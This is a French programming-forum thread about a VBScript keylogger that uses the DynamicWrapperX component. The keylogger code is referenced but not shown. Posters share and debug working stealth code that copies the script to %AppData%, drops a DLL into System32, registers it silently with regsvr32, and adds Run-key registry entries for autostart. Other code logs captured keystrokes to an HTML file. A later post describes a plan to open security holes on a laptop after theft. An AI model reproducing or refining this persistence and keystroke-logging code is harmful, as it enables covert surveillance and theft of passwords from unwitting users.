Discussion :

[omen999]

bonjour,
tout est dans le titre
ce code nécessite l'enregistrement du composant dynamicwrapperx
les touches au format de l'instruction sendkeys sont enregistrées par défaut dans un fichier dénommé keylog.txt situé dans le répertoire de démarrage du script
la sortie du keylogger se fait par la combinaison Maj + Esc
c'est une version beta donc les observations et autres "bug reports" sont les bienvenus
les tests se font évidemment aux risques et périls de leur utilisateur

voir le code

[jackkramiste]

salut a tous

je crois qu'il est incomplet car il n'enregistre pas toutes les frappes du clavier,

ya pas de moyen pour qu'il les enregistre tous.

merci

[omen999]

salut,

ya pas de moyen pour qu'il les enregistre tous.

soit + précis, ma boule de cristal est hs
certaines touches ou combinaisons de touches ne sont jamais enregistrées
ou/et
certaine touches sont aléatoirement ignorées dans certaines conditions:
- frappe rapide
- charge cpu importante
ou autres à préciser...

[jackkramiste]

salut

desoler le probleme vient de mon system , je l'ai tester dans un autre ordi il marche bien.. je croit parceque j'utilise un systeme virtuel 'virtualbox' dont windows n'est pas installer correctement..

mais je voulais lui ajouter pour que le keylogger soit lancer au demarrage de windows en ajoutant ce code:

Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\keylogger", "C:\ chemin du programme"
Set WshShell = Nothing

et qu'on j'ajoute le code le keylogger marche bien mais qu'on je verifie dans le registre de windows avec executer puis regedit:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ il n'a pas ete ajouter ,je voulais savoir ou mettre ce code pour qu'il fonctionne bien et que le programme soit lancer au demarrage de windows.
merci d'avance...

[omen999]

sous virtualbox, certaines fonctions api ne doivent pas être fonctionnelles
en ce qui me concerne (sur xp sp3) ce code écrit bien la valeur de démarrage dans le registre

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\keylogger", "C:\ chemin du programme"

[jackkramiste]

salut....
oui le code marche bien puisque en le met dans un autre fichier.vbs qui est separer de votre code keylogg , mais je veut savoir ou on peut l'ajouter au seins de votre code pour qu'il marche, c a dir dans le meme fichier 'keylogger.vbs' , je l'ai ajouter dans les derniere lignes: le keylogg marche tres bien mais le code que j'ai ajouter n'a pas modifier la valeur de démarrage dans le registre..

[hackoofr]

bonjour,
tout est dans le titre
ce code nécessite l'enregistrement du composant dynamicwrapperx
les touches au format de l'instruction sendkeys sont enregistrées par défaut dans un fichier dénommé keylog.txt situé dans le répertoire de démarrage du script
la sortie du keylogger se fait par la combinaison Maj + Esc
c'est une version beta donc les observations et autres "bug reports" sont les bienvenus
les tests se font évidemment aux risques et périls de leur utilisateur

voir le code

Salut,
J'ai ajouter quelques lignes dans ton script dans le but de le faire exécuter en démarrage automatique avec windows et d'enregistrer le composant "dynwrapx.dll" en mode Silencieux.Pour L'inscription du Script dans la Base de registre en Démarrage automatique ca marche trés bien, mais j'ai rencontrer un petit problème dans l'enregistrement de ce dernier.
Le message d'erreur est : "dynwrapx.dll" n'est pas un fichier exécutable et aucune application d'assistance d'enregistrement n'est enregistré pour ce type de fichier

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
'--Copie du script et du composant DynamicWrapperX et inscription et dans la Base de registre pour Le démarrage Automatique--
dim file,destfile,AppData,System32,Command,Enreg,HKLM
Set ws = WScript.CreateObject("WScript.Shell")
AppData= ws.ExpandEnvironmentStrings("%AppData%")
set file = CreateObject ("Scripting.FileSystemObject")
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
set destfile = file.GetFile(Wscript.ScriptFullName)
Set System32 = FSO.GetSpecialFolder(1)
HKLM = "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
if (not fso.fileexists(AppData & "\" & Wscript.ScriptName)) then
		destfile.Copy(AppData & "\" & Wscript.ScriptName)
	end if
	if  fso.fileexists(AppData & "\" & Wscript.ScriptName) then 'Pour La Mise à jour du script :il écrase l'ancien et copie le nouveau
		destfile.Copy(AppData & "\" & Wscript.ScriptName)
	end if
 
if (not fso.fileexists(System32 & "\dynwrapx.dll")) then
		destfile.Copy(System32 & "\dynwrapx.dll")
	end if
'--Commande pour inscrire le composant dynwrapx.dll en mode silencieux en utilisant l'option regsvr32 /S
'Command = "CMD /C regsvr32 /s dynwrapx.dll" 
	Command = "CMD /C regsvr32 dynwrapx.dll" 
	Enreg = ws.Run(Command,0,True) 
'----inscription dans la Base de registre pour Le démarrage Automatique----
ws.RegWrite HKLM & "Keylogger", AppData & "\" & Wscript.ScriptName

Je ne sais pas si l'erreur vient de mon système sous "Windows XP SP3" ou bien il y a une erreur dans la syntaxe de la commande suivante:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

Command = "CMD /C regsvr32 dynwrapx.dll"

[omen999]

salut,
je vois que tu as de la suite dans les idées depuis le temps que tu cherchais un keylogger...
ton code testé fonctionne sans problème chez moi (xp sp3) y compris la version silencieuse
le message d'erreur renvoyé par regsvr32 signifie qu'il n'identifie pas dynwrapx.dll comme un fichier portable executable conforme
ton fichier dynwrapx doit être corrompu

[hackoofr]

salut,
je vois que tu as de la suite dans les idées depuis le temps que tu cherchais un keylogger...
ton code testé fonctionne sans problème chez moi (xp sp3) y compris la version silencieuse
le message d'erreur renvoyé par regsvr32 signifie qu'il n'identifie pas dynwrapx.dll comme un fichier portable executable conforme
ton fichier dynwrapx doit être corrompu

Salut,
Pour le composant dynwrapx.dll c'est résolu Merci bien
Maintenant j'ai changer le fichier journal Texte en fichier journal HTML.
Pour la 1ère Exécution du script ca marche bien càd il enregistre bien les frappes tapés au clavier mais pour la 2éme exécution il affiche des caractères Chinois illisible je comprends pas pourquoi ??
Voila le code ajouté

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
If Not FSO.FileExists(AppData & "\keylog.htm") Then
Set oKeyLog = Fso.CreateTextFile(AppData & "\keylog.htm",ForWriting, True)
oKeyLog.write "<body bgcolor=#000000 text=#Green link=#336699 vlink=#336699 alink=#336699>"
else 
Set oKeyLog = Fso.OpenTextFile(AppData & "\keylog.htm", ForAppending, True)
end if

et voila le résultat affiché dans la pièce-jointe

[omen999]

et voila le résultat affiché dans la pièce-jointe

ça signifie juste que le viewer utilisé l'interprète comme du Unicode
il faudrait le visualiser en hexa pour l'analyser

[Nossoctoruss]

Bonsoir,
Désolé pour la rapidité de mon message mais je suis HS, il est super tard..
J'essaie de faire un mot de passe invisible, donc un script en background qui détect une certaine combinaison de touche. Donc comme j'ai des connaissances moyennes en vbs (je sais bien utiliser des scripts que je trouve, je connais les bases mais je suis perdu pour les création d'objets etc), je me suis dit que partir sur la base d'un Keylogger etait une bonne piste. Mais, après installation de la dll en 32 et 64 bits ainsi qu'en copiant dynamicwrapx.dll dans System32 et syswow64, j'ai toujours une erreur; que ce soit avec wscript.exe ou cscript.exe.
J'ai la fenêtre d'erreur suivante:


( http://puu.sh/hpHbr.png )
Je suis d'autant plus paumé, du coup.Quelqu'un peut m'aider? Svp

PS: (Pour vous expliquer l'idée, au cas ou cela intéresse quelqu'un:
J'ai vu un hacker de la Defcon qui expliquait comment il avait réussi à récupérer son ordinateur volé grâce à d'énormes failles qu'il avait ouvertes dessus auparavant; le problème, c'est qu'il faut laisser ces failles ouvertes en permanence juste "au cas ou". Donc j'ai décidé de créer un petit programme qui ouvre ces failles si l'on ne fait pas une petite manip à chaque démarrage, donc dont que le possesseur de l'ordi est le seul à être au courant. Ainsi, si et seulement si on vole votre ordinateur des failles seront ouvertes pour vous permettre d'identifier et retrouver le voleur -à condition qu'il se serve au moins une fois de l'ordinateur en l'état et qu'il se connecte à un réseau.)

Merci merci!